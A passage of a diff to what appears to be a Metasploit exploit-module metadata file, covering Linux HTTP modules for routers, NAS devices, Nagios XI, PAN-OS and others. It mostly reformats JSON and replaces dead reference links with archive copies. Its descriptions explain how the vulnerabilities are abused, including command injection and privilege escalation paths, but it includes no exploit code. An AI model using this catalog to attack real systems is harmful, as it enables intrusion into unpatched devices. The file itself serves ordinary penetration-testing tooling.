- ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-26", "type": "exploit", @@ -79214,7 +69264,7 @@ "references": [ "CVE-2015-1187", "BID-72816", - "URL-https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2", + "URL-http://web.archive.org/web/20180521133927/https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2", "URL-https://seclists.org/fulldisclosure/2015/Mar/15", "URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052" ], @@ -79240,24 +69290,21 @@ "Linux mipsel Payload", "Linux mipsbe Payload" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/multi_ncc_ping_exec.rb", "is_install_path": true, "ref_name": "linux/http/multi_ncc_ping_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/mutiny_frontend_upload": { "name": "Mutiny 5 Arbitrary File Upload", "fullname": "exploit/linux/http/mutiny_frontend_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-15", "type": "exploit", @@ -79299,17 +69346,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/mvpower_dvr_shell_exec": { "name": "MVPower DVR Shell Unauthenticated Command Execution", "fullname": "exploit/linux/http/mvpower_dvr_shell_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-23", "type": "exploit", @@ -79320,7 +69364,7 @@ ], "description": "This module exploits an unauthenticated remote command execution\n vulnerability in MVPower digital video recorders. The 'shell' file\n on the web interface executes arbitrary operating system commands in\n the query string.\n\n This module was tested successfully on a MVPower model TV-7104HE with\n firmware version 1.8.4 115215B9 (Build 2014/11/17).\n\n The TV-7108HE model is also reportedly affected, but untested.", "references": [ - "URL-https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/", + "URL-http://web.archive.org/web/20200512230920/https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/", "URL-https://www.pentestpartners.com/blog/pwning-cctv-cameras/" ], "platform": "Linux", @@ -79344,24 +69388,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb", "is_install_path": true, "ref_name": "linux/http/mvpower_dvr_shell_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/nagios_xi_autodiscovery_webshell": { "name": "Nagios XI Autodiscovery Webshell Upload", "fullname": "exploit/linux/http/nagios_xi_autodiscovery_webshell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-07-15", "type": "exploit", @@ -79421,9 +69462,7 @@ "exploit_linux/http/nagios_xi_chained_rce": { "name": "Nagios XI Chained Remote Code Execution", "fullname": "exploit/linux/http/nagios_xi_chained_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-06", "type": "exploit", @@ -79463,17 +69502,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/nagios_xi_chained_rce_2_electric_boogaloo": { "name": "Nagios XI Chained Remote Code Execution", "fullname": "exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-04-17", "type": "exploit", @@ -79519,17 +69555,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/nagios_xi_configwizards_authenticated_rce": { "name": "Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection", "fullname": "exploit/linux/http/nagios_xi_configwizards_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-13", "type": "exploit", @@ -79591,9 +69624,7 @@ "exploit_linux/http/nagios_xi_magpie_debug": { "name": "Nagios XI Magpie_debug.php Root Remote Code Execution", "fullname": "exploit/linux/http/nagios_xi_magpie_debug", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-11-14", "type": "exploit", @@ -79656,9 +69687,7 @@ "exploit_linux/http/nagios_xi_mibs_authenticated_rce": { "name": "Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection", "fullname": "exploit/linux/http/nagios_xi_mibs_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -79783,9 +69812,7 @@ "exploit_linux/http/nagios_xi_plugins_filename_authenticated_rce": { "name": "Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection", "fullname": "exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-19", "type": "exploit", @@ -79846,9 +69873,7 @@ "exploit_linux/http/nagios_xi_snmptrap_authenticated_rce": { "name": "Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote Code Exection", "fullname": "exploit/linux/http/nagios_xi_snmptrap_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -79907,9 +69932,7 @@ "exploit_linux/http/netalertx_rce_cve_2024_46506": { "name": "Unauthenticated RCE in NetAlertX", "fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2025-01-30", "type": "exploit", @@ -79969,9 +69992,7 @@ "exploit_linux/http/netgear_dgn1000_setup_unauth_exec": { "name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE", "fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-05", "type": "exploit", @@ -80011,17 +70032,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netgear_dgn1000b_setup_exec": { "name": "Netgear DGN1000B setup.cgi Remote Command Execution", "fullname": "exploit/linux/http/netgear_dgn1000b_setup_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-06", "type": "exploit", @@ -80065,17 +70083,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/netgear_dgn2200b_pppoe_exec": { "name": "Netgear DGN2200B pppoe.cgi Remote Command Execution", "fullname": "exploit/linux/http/netgear_dgn2200b_pppoe_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-02-15", "type": "exploit", @@ -80119,17 +70134,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/netgear_dnslookup_cmd_exec": { "name": "Netgear DGN2200 dnslookup.cgi Command Injection", "fullname": "exploit/linux/http/netgear_dnslookup_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-02-25", "type": "exploit", @@ -80170,17 +70182,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netgear_r7000_cgibin_exec": { "name": "Netgear R7000 and R6400 cgi-bin Command Injection", "fullname": "exploit/linux/http/netgear_r7000_cgibin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-06", "type": "exploit", @@ -80224,17 +70233,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netgear_readynas_exec": { "name": "NETGEAR ReadyNAS Perl Code Evaluation", "fullname": "exploit/linux/http/netgear_readynas_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-07-12", "type": "exploit", @@ -80278,17 +70284,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netgear_unauth_exec": { "name": "Netgear Devices Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/netgear_unauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-25", "type": "exploit", @@ -80331,17 +70334,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netgear_wnr2000_rce": { "name": "NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Buffer Overflow", "fullname": "exploit/linux/http/netgear_wnr2000_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-20", "type": "exploit", @@ -80383,17 +70383,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/netis_unauth_rce_cve_2024_22729": { "name": "Netis router MW5360 unauthenticated RCE.", "fullname": "exploit/linux/http/netis_unauth_rce_cve_2024_22729", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-11", "type": "exploit", @@ -80453,9 +70450,7 @@ "exploit_linux/http/netis_unauth_rce_cve_2024_48456_and_48457": { "name": "Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).", "fullname": "exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-12-27", "type": "exploit", @@ -80519,9 +70514,7 @@ "exploit_linux/http/netsweeper_webadmin_unixlogin": { "name": "Netsweeper WebAdmin unixlogin.php Python Code Injection", "fullname": "exploit/linux/http/netsweeper_webadmin_unixlogin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-28", "type": "exploit", @@ -80579,9 +70572,7 @@ "exploit_linux/http/nexus_repo_manager_el_injection": { "name": "Nexus Repository Manager Java EL Injection RCE", "fullname": "exploit/linux/http/nexus_repo_manager_el_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-31", "type": "exploit", @@ -80641,9 +70632,7 @@ "exploit_linux/http/nginx_chunked_size": { "name": "Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow", "fullname": "exploit/linux/http/nginx_chunked_size", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-05-07", "type": "exploit", @@ -80662,12 +70651,8 @@ "platform": "Unix", "arch": "cmd", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ubuntu 13.04 32bit - nginx 1.4.0", "Debian Squeeze 32bit - nginx 1.4.0" @@ -80679,17 +70664,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/nuuo_nvrmini_auth_rce": { "name": "NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution", "fullname": "exploit/linux/http/nuuo_nvrmini_auth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-04", "type": "exploit", @@ -80734,17 +70716,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/nuuo_nvrmini_unauth_rce": { "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/nuuo_nvrmini_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-04", "type": "exploit", @@ -80788,17 +70767,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/op5_config_exec": { "name": "op5 v7.1.9 Configuration Command Execution", "fullname": "exploit/linux/http/op5_config_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-08", "type": "exploit", @@ -80839,17 +70815,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/openfiler_networkcard_exec": { "name": "Openfiler v2.x NetworkCard Command Execution", "fullname": "exploit/linux/http/openfiler_networkcard_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-04", "type": "exploit", @@ -80859,7 +70832,7 @@ "description": "This module exploits a vulnerability in Openfiler v2.x\n which could be abused to allow authenticated users to execute arbitrary\n code under the context of the 'openfiler' user. The 'system.html' file\n uses user controlled data from the 'device' parameter to create a new\n 'NetworkCard' object. The class constructor in 'network.inc' calls exec()\n with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without\n providing a system password.", "references": [ "BID-55490", - "URL-http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/", + "URL-http://web.archive.org/web/20210922060411/https://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/", "OSVDB-93881", "EDB-21191" ], @@ -80884,24 +70857,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/linux/http/openfiler_networkcard_exec.rb", "is_install_path": true, "ref_name": "linux/http/openfiler_networkcard_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/openmetadata_auth_bypass_rce": { "name": "OpenMetadata authentication bypass and SpEL injection exploit chain", "fullname": "exploit/linux/http/openmetadata_auth_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-15", "type": "exploit", @@ -80963,9 +70933,7 @@ "exploit_linux/http/opennms_horizon_authenticated_rce": { "name": "OpenNMS Horizon Authenticated RCE", "fullname": "exploit/linux/http/opennms_horizon_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-01", "type": "exploit", @@ -81023,9 +70991,7 @@ "exploit_linux/http/opentsdb_key_cmd_injection": { "name": "OpenTSDB 2.4.1 unauthenticated command injection", "fullname": "exploit/linux/http/opentsdb_key_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-01", "type": "exploit", @@ -81086,9 +71052,7 @@ "exploit_linux/http/opentsdb_yrange_cmd_injection": { "name": "OpenTSDB 2.4.0 unauthenticated command injection", "fullname": "exploit/linux/http/opentsdb_yrange_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-18", "type": "exploit", @@ -81148,9 +71112,7 @@ "exploit_linux/http/optergy_bms_backdoor_rce_cve_2019_7276": { "name": "Optergy Proton and Enterprise BMS Command Injection using a backdoor", "fullname": "exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-05", "type": "exploit", @@ -81215,9 +71177,7 @@ "exploit_linux/http/oracle_ebs_rce_cve_2022_21587": { "name": "Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload", "fullname": "exploit/linux/http/oracle_ebs_rce_cve_2022_21587", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-01", "type": "exploit", @@ -81279,9 +71239,7 @@ "exploit_linux/http/paloalto_expedition_rce": { "name": "Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)", "fullname": "exploit/linux/http/paloalto_expedition_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-10-09", "type": "exploit", @@ -81348,9 +71306,7 @@ "exploit_linux/http/pandora_fms_auth_rce_cve_2024_11320": { "name": "Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password", "fullname": "exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-21", "type": "exploit", @@ -81411,9 +71367,7 @@ "exploit_linux/http/pandora_fms_events_exec": { "name": "Pandora FMS Events Remote Command Execution", "fullname": "exploit/linux/http/pandora_fms_events_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-04", "type": "exploit", @@ -81475,9 +71429,7 @@ "exploit_linux/http/pandora_fms_exec": { "name": "Pandora FMS Remote Code Execution", "fullname": "exploit/linux/http/pandora_fms_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-29", "type": "exploit", @@ -81485,9 +71437,7 @@ "xistence " ], "description": "This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.\n It will leverage an unauthenticated command injection in the Anyterm service on\n port 8023/TCP. Commands are executed as the user \"pandora\". In Pandora FMS 4.1 and 5.0RC1\n the user \"artica\" is not assigned a password by default, which makes it possible to su\n to this user from the \"pandora\" user. The \"artica\" user has access to sudo without a\n password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0\n and lower force a password for the \"artica\" user during installation.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": 8023, @@ -81516,17 +71466,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pandora_fms_sqli": { "name": "Pandora FMS Default Credential / SQLi Remote Code Execution", "fullname": "exploit/linux/http/pandora_fms_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-01", "type": "exploit", @@ -81567,17 +71514,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/pandora_ping_cmd_exec": { "name": "Pandora FMS Ping Authenticated Remote Code Execution", "fullname": "exploit/linux/http/pandora_ping_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-09", "type": "exploit", @@ -81585,9 +71529,7 @@ "Onur ER " ], "description": "This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.\n net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86, x64", "rport": 80, @@ -81634,9 +71576,7 @@ "exploit_linux/http/panos_management_unauth_rce": { "name": "Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/panos_management_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-18", "type": "exploit", @@ -81697,9 +71637,7 @@ "exploit_linux/http/panos_op_cmd_exec": { "name": "Palo Alto Networks Authenticated Remote Code Execution", "fullname": "exploit/linux/http/panos_op_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-09", "type": "exploit", @@ -81763,9 +71701,7 @@ "exploit_linux/http/panos_readsessionvars": { "name": "Palo Alto Networks readSessionVarsFromFile() Session Corruption", "fullname": "exploit/linux/http/panos_readsessionvars", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-11", "type": "exploit", @@ -81807,17 +71743,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/panos_telemetry_cmd_exec": { "name": "Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/panos_telemetry_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-12", "type": "exploit", @@ -81878,9 +71811,7 @@ "exploit_linux/http/peercast_url": { "name": "PeerCast URL Handling Buffer Overflow", "fullname": "exploit/linux/http/peercast_url", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-08", "type": "exploit", @@ -81896,12 +71827,8 @@ "platform": "Linux", "arch": "x86", "rport": 7144, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PeerCast v0.1212 Binary" ], @@ -81912,17 +71839,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/php_imap_open_rce": { "name": "php imap_open Remote Code Execution", "fullname": "exploit/linux/http/php_imap_open_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-10-23", "type": "exploit", @@ -81976,17 +71900,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pineapp_ldapsyncnow_exec": { "name": "PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution", "fullname": "exploit/linux/http/pineapp_ldapsyncnow_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-26", "type": "exploit", @@ -82027,17 +71948,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pineapp_livelog_exec": { "name": "PineApp Mail-SeCure livelog.html Arbitrary Command Execution", "fullname": "exploit/linux/http/pineapp_livelog_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-26", "type": "exploit", @@ -82078,17 +71996,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pineapp_test_li_conn_exec": { "name": "PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution", "fullname": "exploit/linux/http/pineapp_test_li_conn_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-26", "type": "exploit", @@ -82130,17 +72045,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pineapple_bypass_cmdinject": { "name": "Hak5 WiFi Pineapple Preconfiguration Command Injection", "fullname": "exploit/linux/http/pineapple_bypass_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-01", "type": "exploit", @@ -82179,17 +72091,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/pineapple_preconfig_cmdinject": { "name": "Hak5 WiFi Pineapple Preconfiguration Command Injection", "fullname": "exploit/linux/http/pineapple_preconfig_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-01", "type": "exploit", @@ -82228,17 +72137,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/piranha_passwd_exec": { "name": "RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution", "fullname": "exploit/linux/http/piranha_passwd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2000-04-04", "type": "exploit", @@ -82282,17 +72188,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/progress_flowmon_unauth_cmd_injection": { "name": "Flowmon Unauthenticated Command Injection", "fullname": "exploit/linux/http/progress_flowmon_unauth_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-23", "type": "exploit", @@ -82351,9 +72254,7 @@ "exploit_linux/http/progress_kemp_loadmaster_unauth_cmd_injection": { "name": "Kemp LoadMaster Unauthenticated Command Injection", "fullname": "exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-19", "type": "exploit", @@ -82413,9 +72314,7 @@ "exploit_linux/http/projectsend_unauth_rce": { "name": "ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/projectsend_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-07-19", "type": "exploit", @@ -82477,9 +72376,7 @@ "exploit_linux/http/pulse_secure_cmd_exec": { "name": "Pulse Secure VPN Arbitrary Command Execution", "fullname": "exploit/linux/http/pulse_secure_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-24", "type": "exploit", @@ -82545,9 +72442,7 @@ "exploit_linux/http/pulse_secure_gzip_rce": { "name": "Pulse Secure VPN gzip RCE", "fullname": "exploit/linux/http/pulse_secure_gzip_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-26", "type": "exploit", @@ -82615,9 +72510,7 @@ "exploit_linux/http/pyload_js2py_cve_2024_39205": { "name": "Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)", "fullname": "exploit/linux/http/pyload_js2py_cve_2024_39205", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-10-28", "type": "exploit", @@ -82681,9 +72574,7 @@ "exploit_linux/http/pyload_js2py_exec": { "name": "pyLoad js2py Python Execution", "fullname": "exploit/linux/http/pyload_js2py_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-13", "type": "exploit", @@ -82746,9 +72637,7 @@ "exploit_linux/http/qnap_qcenter_change_passwd_exec": { "name": "QNAP Q'Center change_passwd Command Execution", "fullname": "exploit/linux/http/qnap_qcenter_change_passwd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-07-11", "type": "exploit", @@ -82794,17 +72683,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/qnap_qts_rce_cve_2023_47218": { "name": "QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi", "fullname": "exploit/linux/http/qnap_qts_rce_cve_2023_47218", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-02-13", "type": "exploit", @@ -82864,9 +72750,7 @@ "exploit_linux/http/raidsonic_nas_ib5220_exec_noauth": { "name": "Raidsonic NAS Devices Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/raidsonic_nas_ib5220_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-02-04", "type": "exploit", @@ -82909,17 +72793,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/railo_cfml_rfi": { "name": "Railo Remote File Include", "fullname": "exploit/linux/http/railo_cfml_rfi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-26", "type": "exploit", @@ -82960,17 +72841,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/rancher_server": { "name": "Rancher Server - Docker Exploit", "fullname": "exploit/linux/http/rancher_server", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-27", "type": "exploit", @@ -82978,9 +72856,7 @@ "Martin Pizala" ], "description": "Utilizing Rancher Server, an attacker can create a docker container\n with the '/' path mounted with read/write permissions on the host\n server that is running the docker container. As the docker container\n executes command as uid 0 it is honored by the host operating system\n allowing the attacker to edit/create files owed by root. This exploit\n abuses this to creates a cron job in the '/etc/cron.d/' path of the\n host server.\n\n The Docker image should exist on the target system or be a valid image\n from hub.docker.com.\n\n Use `check` with verbose mode to get a list of exploitable Rancher\n Hosts managed by the target system.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": 8080, @@ -83009,17 +72885,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/raspberrymatic_unauth_rce_cve_2024_24578": { "name": "RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.", "fullname": "exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-16", "type": "exploit", @@ -83081,9 +72954,7 @@ "exploit_linux/http/ray_agent_job_rce": { "name": "Ray Agent Job RCE", "fullname": "exploit/linux/http/ray_agent_job_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-15", "type": "exploit", @@ -83147,9 +73018,7 @@ "exploit_linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019": { "name": "Ray cpu_profile command injection", "fullname": "exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-15", "type": "exploit", @@ -83212,9 +73081,7 @@ "exploit_linux/http/rconfig_ajaxarchivefiles_rce": { "name": "Rconfig 3.x Chained Remote Code Execution", "fullname": "exploit/linux/http/rconfig_ajaxarchivefiles_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-03-11", "type": "exploit", @@ -83277,9 +73144,7 @@ "exploit_linux/http/rconfig_vendors_auth_file_upload_rce": { "name": "rConfig Vendors Auth File Upload RCE", "fullname": 